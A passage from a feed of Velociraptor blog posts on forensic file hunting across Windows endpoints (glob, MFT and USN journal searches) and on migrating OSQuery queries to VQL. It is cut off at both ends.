&lt;code&gt;C:\**\Abagnale*&lt;/code&gt; will enumerate all files in the C: drive to locate the file of interest.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-13-digging-for-files-with-velociraptor-a1c0a21e242b/../../img/1xW9fQn8L_pKG5SgTvencrA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Globbing through all files took 109 seconds on my test VM and returned two hits (my original text file and a lnk file created by notepad itself):&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-13-digging-for-files-with-velociraptor-a1c0a21e242b/../../img/1Udz5uUX3NEzT4mY-757ajw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;scanning-the-master-file-table&#34;&gt;Scanning the Master File Table&lt;/h3&gt;&#xA;&lt;p&gt;On Windows, the NTFS filesystem is almost ubiquitous. NTFS uses a special hidden file called the $MFT to store all metadata on all files (such as their filenames, size, dates etc). Metadata is stored in the $MFT within MFT entries — fixed size data structures stored back to back in the $MFT file.&lt;/p&gt;&#xA;&lt;p&gt;Therefore, by scanning the $MFT file and parsing all MFT entries, we are able to enumerate all files’ metadata on the disk.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor offers an artifact called &lt;code&gt;Windows.NTFS.MFT&lt;/code&gt; that will enumerate all entries within the $MFT filtering out only the relevant ones.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-13-digging-for-files-with-velociraptor-a1c0a21e242b/../../img/1l-xgDXReDeWyKK_A7wAm9w.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I will again proceed to configure the artifact parameters. This time I am able to filter the filename by a regular expression. I will just search for all files with filenames containing the word &lt;strong&gt;Abagnale&lt;/strong&gt; .&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-13-digging-for-files-with-velociraptor-a1c0a21e242b/../../img/1zoTSgpXbFFktbI-b14k9fg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Again this artifact found the same 2 files as the previous one&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-13-digging-for-files-with-velociraptor-a1c0a21e242b/../../img/1EB6S8u1baKQ2h7Qv4bTpww.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;So how is the MFT search method different from the Glob method?&lt;/p&gt;&#xA;&lt;p&gt;Parsing the MFT tends to be faster than using the APIs in a glob when searching over the entire disk (87 sec vs 109 sec), although if you know that the files can only be in a more confined part of the disk (e.g. inside the C:\Users directory) then the glob method is faster since it is looking at fewer files.&lt;/p&gt;&#xA;&lt;p&gt;However, the MFT search may be able to detect deleted files. When a file is deleted in NTFS the MFT entry is marked as unallocated and can be reused at any time, but until it does, the old data structures are still present and will be parsed by the MFT parser.&lt;/p&gt;&#xA;&lt;p&gt;Additionally the MFT parser has access to the &lt;strong&gt;$FILENAME&lt;/strong&gt; stream’s timestamps and so can report those as well. Timestamps in the &lt;strong&gt;$FILENAME&lt;/strong&gt; streams (Shown in the above results as Created0x30, LastModified0x30 etc) can not be altered by timestomping tools and so are more reliable indicators of when the file was created or modified.&lt;/p&gt;&#xA;&lt;h3 id=&#34;searching-the-usn-journal&#34;&gt;Searching the USN journal&lt;/h3&gt;&#xA;&lt;p&gt;While the previous two methods were great for detecting files that are currently present on the endpoint, what if the file was since deleted? I mentioned that the MFT parser may still find evidence of a deleted file in unallocated MFT entries, but this will only happen if the entry is not reused by the system for something else.&lt;/p&gt;&#xA;&lt;p&gt;Luckily, Windows keeps another record of file operations in the NTFS USN journal. I wrote in details previously about &lt;a href=&#34;https://medium.com/velociraptor-ir/the-windows-usn-journal-f0c55c9010e&#34; target=&#34;_blank&#34; &gt;the USN journal&lt;/a&gt; but for our purposes it is sufficient to know that file operations are continuously written by the system into a journal file internal to the NTFS filesystem (so it is not generally altered by adversaries).&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor contains a built-in parser for the USN journal which is made available via the &lt;code&gt;Windows.Forensics.Usn&lt;/code&gt; artifact. I will select this artifact for collection as before&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-13-digging-for-files-with-velociraptor-a1c0a21e242b/../../img/1-hox0Mi6qUTpbkIsrGjKMQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I now select “Configure Parameters” where I can specify a path regular expression.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-13-digging-for-files-with-velociraptor-a1c0a21e242b/../../img/1E4JaMVWTzWPB7ghefsKOZQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This time the artifact returns 7 rows in 29 seconds&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-13-digging-for-files-with-velociraptor-a1c0a21e242b/../../img/1nvuwmAxUDjDOC1V2Abwopg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Let’s take a look at the rows returned from this query&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-13-digging-for-files-with-velociraptor-a1c0a21e242b/../../img/1qkHHGevfBzluJPeTcHBlSw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Since the USN journal stores metadata about file operations, we see each time the file was interacted with by a program. This is not exactly the same as the previous results which just show the final state of the file.&lt;/p&gt;&#xA;&lt;p&gt;For example, if the file was edited at one point in time and then edited again at a later time, the USN journal will show 2 separate interactions with the file, but the previous artifacts will only show the last modified time. This can be significant for some investigations, in particular if the file is deleted.&lt;/p&gt;&#xA;&lt;p&gt;Typically we find the USN journal is kept for around 2–3 weeks by the system, providing excellent visibility of past activities.&lt;/p&gt;&#xA;&lt;h3 id=&#34;hunting-the-entire-network&#34;&gt;Hunting the entire network&lt;/h3&gt;&#xA;&lt;p&gt;Previously we collected the artifacts on a single host. However, in some investigations we need to determine if any machine in our network contains the file in question.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor hunts are specifically designed to coordinate collections of the same artifact across the entire fleet. I will create a new hunt and give it a description, then proceed to select the &lt;code&gt;Windows.Forensics.Usn&lt;/code&gt; artifact configuring its parameters as before.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-13-digging-for-files-with-velociraptor-a1c0a21e242b/../../img/1pV6gUITH1IO1rCM2ok28ug.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Running the hunt over a small network returns results within minutes&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-13-digging-for-files-with-velociraptor-a1c0a21e242b/../../img/1ivnEtqt-UnZG2kUldMdScA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;While it may seem that a USN journal scan of an entire network is an expensive operation, in reality it places very little load on the server.&lt;/p&gt;&#xA;&lt;p&gt;The server simply collects the result sets from running the VQL query across each endpoint in the deployment. Since these artifacts are highly targeted in returning only positive hits for the files in question the total number of rows returned is pretty small. In this hunt, most of the heavy lifting is done by the endpoints themselves — this is the secret for Velociraptor’s scalability!&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h3&gt;&#xA;&lt;p&gt;In this post we looked at some of the common ways to determine if a file was present on a system. Each method has advantages and disadvantages and this article explored when you should use one method over another. You can of course, just use all methods at the same time, and interpret their results accordingly.&lt;/p&gt;&#xA;&lt;p&gt;All the described methods are very quick ranging from under 30 seconds for a USN journal scan, to a couple of minutes for a large glob operation. Using Velociraptor we can perform an exhaustive search of a large 10–20k endpoint deployment in minutes. This unprecedented agility and scalability is rather unique in an open source DFIR tool.&lt;/p&gt;&#xA;&lt;p&gt;To play with these artifacts yourself, take&lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt; Velociraptor for a spin&lt;/a&gt;! It is a available on GitHub under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list &lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt; . You can also chat with us directly on discord &lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you want to know more about Velociraptor, VQL and how to use it effectively to hunt across the enterprise, consider enrolling for the next available training course at &lt;a href=&#34;https://www.velocidex.com/training/&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/training/&lt;/a&gt;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Migrating from OSQuery to Velociraptor</title>
      <link>https://www.velociraptor-docs.org/blog/2021/2021-02-03-migrating-from-osquery-to-velociraptor-d4143799953f/</link>
      <pubDate>Wed, 03 Feb 2021 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2021/2021-02-03-migrating-from-osquery-to-velociraptor-d4143799953f/</guid>
      <description>&lt;h2 id=&#34;tips-for-the-journey&#34;&gt;Tips for the journey&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://osquery.io/&#34; target=&#34;_blank&#34; &gt;OSQuery&lt;/a&gt; has been around for a while now, and&#xA;was actually the initial inspiration for Velociraptor. Back in the&#xA;day, it became clear to me that the way to provide unprecedented&#xA;flexibility for endpoint visibility was to have a flexible and&#xA;powerful query language. OSQuery was historically a proof that a&#xA;powerful query language was the way forward, and VQL was designed to&#xA;improve on OSQuery and push the state of the art.&lt;/p&gt;&#xA;&lt;p&gt;Many new Velociraptor users have existing OSQuery queries and&#xA;installations and are migrating to Velociraptor for powerful and&#xA;efficient endpoint visibility. I have written &lt;a href=&#34;https://medium.com/velociraptor-ir/velociraptor-and-osquery-2a4306dd23c&#34; target=&#34;_blank&#34; &gt;previously about&#xA;Velociraptor’s OSQuery&#xA;integration&lt;/a&gt;,&#xA;allowing OSQuery queries to run directly inside Velociraptor.&lt;/p&gt;&#xA;&lt;p&gt;This integration, however, is simply a stopgap measure during&#xA;migration. It is much better to write VQL queries within Velociraptor,&#xA;since VQL is much more powerful and also much faster.&lt;/p&gt;&#xA;&lt;p&gt;This post aims to help this migration by comparing typical OSQuery&#xA;queries with native VQL Velociraptor queries. This side by side&#xA;comparison hopefully sheds some light on VQL and will encourage you to&#xA;start writing new VQL artifacts.&lt;/p&gt;&#xA;&lt;p&gt;This post does not compare the scalability, ease of deployment and&#xA;management GUI of OSQuery‘s various fleet implementations with&#xA;Velociraptor’s — we only look at the query language itself.&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-file-table&#34;&gt;The file table&lt;/h3&gt;&#xA;&lt;p&gt;One of the most often used OSQuery table is the file table. For example we can see information about a file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;SELECT * FROM file WHERE path = &amp;quot;C:\Windows\notepad.exe&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Because OSQuery uses SQL as its underlying implementation, there is no&#xA;way to tell the query that it is only interested in a single file (A&#xA;naive implementation would scan all files on disk and compare the path&#xA;by the condition eliminating all but one — a very expensive&#xA;approach!).&lt;/p&gt;&#xA;&lt;p&gt;To avoid a full scan of the filesystem, OSQuery peeks at the WHERE&#xA;clause to figure out what it needs to do. It is therefore required&#xA;that a WHERE clause is provided and the path or directory be&#xA;restricted in some way.&lt;/p&gt;&#xA;&lt;p&gt;Compare this to VQL. The main realization in VQL was that unlike in a&#xA;relational database, tables are implemented by code, the code must be&#xA;able to accept arguments. Therefore VQL’s syntax requires “tables” to&#xA;take arguments (in VQL these are termed plugins):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;SELECT * FROM glob(globs=&amp;quot;C:\\Windows\\notepad.exe&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The VQL equivalent to the file table is the glob() plugin, which&#xA;accepts a glob expression (i.e. wildcards) to search the filesystem&#xA;directly. (Note also that VQL does not use a semicolon &lt;code&gt;;&lt;/code&gt; as a&#xA;statement separator — it is not needed, just string multiple&#xA;statements together).&lt;/p&gt;&#xA;&lt;p&gt;So far both queries simply return a single row for a specific&#xA;file. OSQuery allows us to specify a wildcard for filenames as well,&#xA;however it uses the SQL &lt;strong&gt;like&lt;/strong&gt; syntax. For example to return all&#xA;dlls in the system32 directory:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;SELECT * FROM file WHERE path like &amp;quot;C:\Windows\system32\%.dll&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The equivalent VQL is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;SELECT * FROM glob(globs=&amp;quot;C:\\Windows\\System32\\*.dll&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can test the VQL in the Velociraptor notebook right in the&#xA;GUI. Simply select &lt;strong&gt;Notebooks&lt;/strong&gt; from the sidebar and add a new&#xA;notebook. Click on the top cell and add a new VQL cell where you can&#xA;write arbitrary queries.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-03-migrating-from-osquery-to-velociraptor-d4143799953f/../../img/1604zaUCaHumz_aHKaJY1Ig.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;You can also test OSQuery in the notebook cell by simply invoking the&#xA;&lt;code&gt;Windows.OSQuery.Generic()&lt;/code&gt; artifact (In this case Velociraptor will&#xA;shell out to OSQuery and collect the results).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-03-migrating-from-osquery-to-velociraptor-d4143799953f/../../img/1A6SW9z2b5anC7GHHZ2-Aeg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;If you tried this you would immediately see a difference in&#xA;performance — the VQL example took less than a second to return 3384&#xA;rows while OSQuery took over 6 sec to return the same data. While 6&#xA;seconds is not too bad, this gets worse when we try to fetch more dlls&#xA;from the disk…&lt;/p&gt;&#xA;&lt;p&gt;In VQL we can use &lt;code&gt;**&lt;/code&gt; to denote recursive glob wildcard. This time&#xA;the query took 2 seconds and returned 4090 rows.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-03-migrating-from-osquery-to-velociraptor-d4143799953f/../../img/1Z2JdROd6jSvmSvxEB9p0QA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;OSQuery uses &lt;code&gt;%%&lt;/code&gt; for the same purpose. However OSQuery only allows a&#xA;recursive wildcard at the end of a LIKE string (see discussion&#xA;&lt;a href=&#34;https://blog.kolide.com/the-file-table-in-osquery-is-amazing-99db0f52a066&#34; target=&#34;_blank&#34; &gt;here&lt;/a&gt;),&#xA;so we need to break up the condition into a more complex query with&#xA;two conditions.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-03-migrating-from-osquery-to-velociraptor-d4143799953f/../../img/1Jxcocb4GG8gnCEBugzMDjA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This time OSQuery takes 52 seconds to return the same number of&#xA;rows. If you keep an eye on the task manager you would also see an&#xA;increasing memory footprint for OSQuery because it queues up all rows&#xA;in memory before returning them, so the more rows it returns the more&#xA;memory it uses. If we now increase the size of the glob, to return all&#xA;dlls on the system the query times out without returning any data at&#xA;all!&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-03-migrating-from-osquery-to-velociraptor-d4143799953f/../../img/1eAv9VFpn-r_C6D8sGUVhhg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The timeout is imposed by Velociraptor’s OSQuery integration. This is&#xA;another interesting difference between OSQuery and VQL — VQL has&#xA;active query cancellation, and a timeout after which the query is&#xA;cancelled (In this case the VQL that shells out to OSQuery has timed&#xA;out and actively killed the OSQuery process after 10 minutes).&lt;/p&gt;&#xA;&lt;p&gt;This makes running larger queries much safer as it provides an upper&#xA;bound on the amount of resources taken on the endpoint. Once this&#xA;bound is exceeded, the query is terminated.&lt;/p&gt;&#xA;&lt;p&gt;Running a similar query with Velociraptor is much faster returning 64k&#xA;rows in 66 seconds.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-03-migrating-from-osquery-to-velociraptor-d4143799953f/../../img/1tQ3vq6-J7tVF_e0cloOWIg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Performance issues in the OSQuery file table have been discussed&#xA;previously (see&#xA;&lt;a href=&#34;https://blog.kolide.com/the-file-table-in-osquery-is-amazing-99db0f52a066&#34; target=&#34;_blank&#34; &gt;https://blog.kolide.com/the-file-table-in-osquery-is-amazing-99db0f52a066&lt;/a&gt;)&#xA;and the advice is to just be more targeted in your queries, however if&#xA;you need to know if a file exists anywhere on the disk then an&#xA;exhaustive search is necessary.&lt;/p&gt;&#xA;&lt;p&gt;Although being targeted is helpful, With VQL we can confidently run&#xA;the exhaustive search because VQL has our back, in case our queries&#xA;are more expensive than expected. VQL is designed to deal with many&#xA;rows (e.g. the &lt;code&gt;Windows.NTFS.MFT&lt;/code&gt; Artifact can return the entire&#xA;contents of the MFT which can be around 400–500k rows within a couple&#xA;minutes). VQL queries stream their results as soon as possible, so&#xA;Velociraptor can maintain a low memory footprint even for very large&#xA;result sets (typical memory footprint is 50–100mb).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: VQL does not use the &lt;code&gt;like&lt;/code&gt; keyword as in SQL. Instead VQL&#xA;has the &lt;code&gt;=~&lt;/code&gt; operator which means a regular expression match. SQL’s&#xA;&lt;code&gt;like&lt;/code&gt; syntax is archaic and much less powerful than a simple&#xA;regular expression.&lt;/p&gt;&#xA;&lt;p&gt;The following selects all user details for usernames matching “user” followed by a digit.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;SELECT * FROM Artifact.Windows.Sys.Users() WHERE Name =~ &amp;quot;user[0–9]&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3 id=&#34;queries-and-artifacts&#34;&gt;Queries and Artifacts&lt;/h3&gt;&#xA;&lt;p&gt;One major difference between OSQuery and Velociraptor is that&#xA;Velociraptor does not usually directly run queries on&#xA;endpoints. Instead, a VQL query is wrapped in an “Artifact” — a&#xA;specially formatted YAML file which is stored within the Velociraptor&#xA;server. Artifacts make queries discoverable and allow for queries to&#xA;be shared with the community. Once an artifact is written, the user&#xA;does not need to worry about remembering or entering a query.&lt;/p&gt;&#xA;&lt;p&gt;Artifacts can also be directly used within another VQL query. This&#xA;allows VQL to encapsulate a complex algorithm, but at the same time,&#xA;users can easily build on top of this.&lt;/p&gt;&#xA;&lt;p&gt;In contrast OSQuery uses hard coded internal tables to provide a lot&#xA;of functionality requiring c++ coding to add a lot of simpler&#xA;functionality to the tool.&lt;/p&gt;&#xA;&lt;p&gt;Let’s consider the OSQuery &lt;strong&gt;chrome_extensions&lt;/strong&gt; table — this table&#xA;allows us to list all the chrome extensions installed by all users on&#xA;the system. The query simply extract all rows but the actual logic of&#xA;extracting and decoding the chrome extension data is hard coded inside&#xA;OSQuery.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-03-migrating-from-osquery-to-velociraptor-d4143799953f/../../img/1JV1XuRxZFwRJ0xNCS1k2UQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, Velociraptor’s&#xA;&lt;code&gt;Windows.Applications.Chrome.Extensions&lt;/code&gt; artifact is written in pure&#xA;VQL (see &lt;a href=&#34;https://github.com/Velocidex/velociraptor/blob/master/artifacts/definitions/Windows/Applications/Chrome/Extensions.yaml&#34; target=&#34;_blank&#34; &gt;the source code&#xA;here&lt;/a&gt;). You&#xA;can view the artifact in the GUI by selecting the “View Artifact”&#xA;screen from the sidebar. Note that artifacts can take parameters — in&#xA;this case the artifact allows the user to adjust where the chrome&#xA;extensions folder can be found.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-03-migrating-from-osquery-to-velociraptor-d4143799953f/../../img/1NZA_Vj1kwrNF4hGx5Mrtaw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;You can just call another artifact seamlessly from VQL as if it was&#xA;just another plugin.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-02-03-migrating-from-osquery-to-velociraptor-d4143799953f/../../img/14s-7aPELM12TKcRO4iK7Pg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This feature encourages users to develop reusable VQL Artifacts that&#xA;can be put together like Lego bricks. Additionally, since artifacts&#xA;are just VQL queries it is possible to add new capabilities to the&#xA;tool with just a simple query — no need to write new tables in c++&#xA;like in OSQuery.&lt;/p&gt;&#xA;&lt;p&gt;VQL provides very flexible primitives that can be much lower level&#xA;than OSQuery. For example, a binary parser is provided built into the&#xA;language, thereby allowing users to parse arbitrary files in their&#xA;queries. The additional flexibility means that even 